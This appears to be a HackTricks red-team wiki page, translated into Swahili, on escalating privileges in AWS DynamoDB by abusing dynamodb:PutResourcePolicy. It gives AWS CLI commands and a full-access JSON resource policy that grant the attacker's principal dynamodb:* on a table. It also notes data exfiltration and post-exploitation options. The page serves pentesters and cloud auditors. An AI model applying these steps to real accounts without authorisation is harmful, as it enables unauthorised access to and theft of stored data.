AWS - DynamoDB Privesc

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

dynamodb

Kwa maelezo zaidi kuhusu dynamodb angalia:

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy, na kwa hiari dynamodb:GetResourcePolicy

Tangu Machi 2024, AWS inatoa sera za msingi wa rasilimali kwa ajili ya DynamoDB (AWS News).

Hivyo, ikiwa una dynamodb:PutResourcePolicy kwa meza, unaweza kujipa wewe mwenyewe au mtu mwingine yeyote ufikiaji kamili kwa meza hiyo.

Kutoa dynamodb:PutResourcePolicy kwa mtu yeyote wa bahati mbaya mara nyingi hutokea kwa bahati mbaya, ikiwa wasimamizi wanafikiri kwamba kutoa dynamodb:Put* kutaruhusu tu mtu huyo kuweka vitu kwenye hifadhidata - au ikiwa walitoa seti hiyo ya ruhusa kabla ya Machi 2024...

Kwa kawaida, unapaswa pia kuwa na dynamodb:GetResourcePolicy, ili usiandike tena ruhusa nyingine muhimu, bali tu uweke ruhusa zilizoongezwa unazohitaji:

bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

Ikiwa huwezi kupata sera ya sasa, tumia hii ambayo inatoa ufikiaji kamili juu ya jedwali kwa mhusika wako:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

Ikiwa unahitaji kuiboresha, hapa kuna orodha ya vitendo vyote vinavyowezekana vya DynamoDB: AWS Documentation. Na hapa kuna orodha ya vitendo vyote vinavyoweza kuruhusiwa kupitia sera ya msingi ya rasilimali NA ni yapi kati ya haya yanaweza kutumika kati ya akaunti (fikiria kuhusu uhamasishaji wa data!): AWS Documentation

Sasa, ikiwa hati ya sera policy.json iko tayari, weka sera ya rasilimali:

bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

Sasa, unapaswa kuwa na ruhusa ulizohitaji.

Post Exploitation

Kuhusu ninavyojua, hakuna njia nyingine ya moja kwa moja ya kupandisha ruhusa katika AWS kwa kuwa na ruhusa za AWS dynamodb. Unaweza kusoma taarifa nyeti kutoka kwa meza (ambazo zinaweza kuwa na akauti za AWS) na kuandika taarifa kwenye meza (ambazo zinaweza kusababisha udhaifu mwingine, kama vile sindano za msimbo wa lambda...) lakini chaguzi hizi zote tayari zinachukuliwa katika ukurasa wa Post Exploitation wa DynamoDB:

AWS - DynamoDB Post Exploitation

TODO: Soma data kwa kutumia data Streams

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks